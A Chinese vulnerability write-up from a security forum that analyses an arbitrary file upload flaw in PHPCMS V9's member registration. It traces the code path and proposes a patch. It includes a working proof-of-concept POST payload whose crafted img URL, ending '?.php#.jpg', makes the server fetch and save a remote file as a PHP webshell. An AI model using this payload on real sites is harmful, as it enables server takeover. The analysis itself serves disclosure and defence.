Phpcms_V9任意文件上传 漏洞分析

potato / 2017-04-14 15:09:21 / 浏览数 3803 安全技术 漏洞分析 顶(0) 踩(0)

Phpcms_V9任意文件上传 漏洞分析

漏洞分析

poc利用代码

```
siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=<img src=http://127.0.0.1/2.txt?.php#.jp
```

发送post请求到`http://192.168.107.138/phpcms/index.php?m=member&c=index&a=register&siteid=1`即可成功上传一个webshell
如图

根据url，我们可以定位到是phpcms\modules\member\index.php文件中的register函数（phpcms url映射关系 PHPCMS二次开发教程 - semcoding - 博客园）。在line
135行处，将用户所输入的info参数带入到$member_input->get函数，也就是phpcms\caches\caches_model\caches_data\member_input.class.php文件中的get函数。

跟入这个函数

```
    function get($data) {
$this->data = $data = trim_script($data);
$model_cache = getcache('member_model', 'commons');
$this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];
$info = array();
$debar_filed = array('catid','title','style','thumb','status','islink','description');
if(is_array($data)) {
foreach($data as $field=>$value) {

if($maxlength && $length > $maxlength && !$isimport) {
showmessage("$name ■■■■ $maxlength ■■■■");
} else {
str_cut($value, $maxlength);
}
$func = $this->fields[$field]['formtype'];
var_dump($func);
if(method_exists($this, $func)) $value = $this->$func($field, $value);

$info[$field] = $value;
}
}
return $info;
}
```

在这里，$value包含有恶意url，$func为editor，也就是调用editor函数去处理用户的请求，继续跟入

```
    function editor($field, $value) {
$setting = string2array($this->fields[$field]['setting']);
$enablesaveimage = $setting['enablesaveimage'];
$site_setting = string2array($this->site_config['setting']);
$watermark_enable = intval($site_setting['watermark_enable']);
echo "111".$value;
var_dump($this->attachment);
$value = $this->attachment->download('content', $value,$watermark_enable);
return $value;
}
```

从这里就会很清楚的看到，将$value，也就是包含有恶意url的参数，去调用phpcms的download函数，并下载到本机。继续跟入
在download函数的片段中

```
        foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
```

作者本来是校验远程url的后缀名必须为.jpg等，防止下载到例如php等后缀的文件名，但是在经过fillurl函数的处理后，jpg后缀却消失了。也就是恶意url变为`http:file.c`
在fill函数中

```
        $pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);
```

这里将会去掉# 后面的url，因为在url中，#代表网页中的一个位置。其右面的字符，就是该位置的标识符。所以恶意url为?.php\ # .jpg。

继续回到download中，在

```
foreach($remotefileurls as $k=>$file) {
echo "</br>";
var_dump($file);
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);

$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
```

中，
$file为已经经过处理的url，也就是`http://file.codecat.one/normalOneWord.txt?.php`，在这里可以看到，下载文件所保存的后缀名，都已$file参数为准。这时就
shell。以日期作为文件夹名，时间戳作为文件名。远程url的内容为文件内容。

在函数最后，将会返回写入shell的文件路径。
我们回到最开始的index.php中，随后，将会执行插入数据库操作，但是表中并没有那个content字段，于是就会报错，并将路径返回给用户。

至此，就完成了任意文件上传漏洞，其实更应该叫做任意文件下载漏洞。

临时修复建议

修改 phpcms_libs_classes/attachement.class.php 文件中的download函数
在

```
foreach($remotefileurls as $k=>$file)
```

循环中，大约是167行左右的位置，将

```
            if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
```

修改成

```
            $filename = fileext($k);
```

我们再使用poc测试一下
如图

图中的两个jpg文件，就是我测试的结果。这样就可以防御住任意文件上传攻击了。

上一篇：phpcmsV9.5.8 后台两个... 下一篇：NSA 0day ETERNALB...
1. 0 条回复

- 动动手指，沙发就是你的了！

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板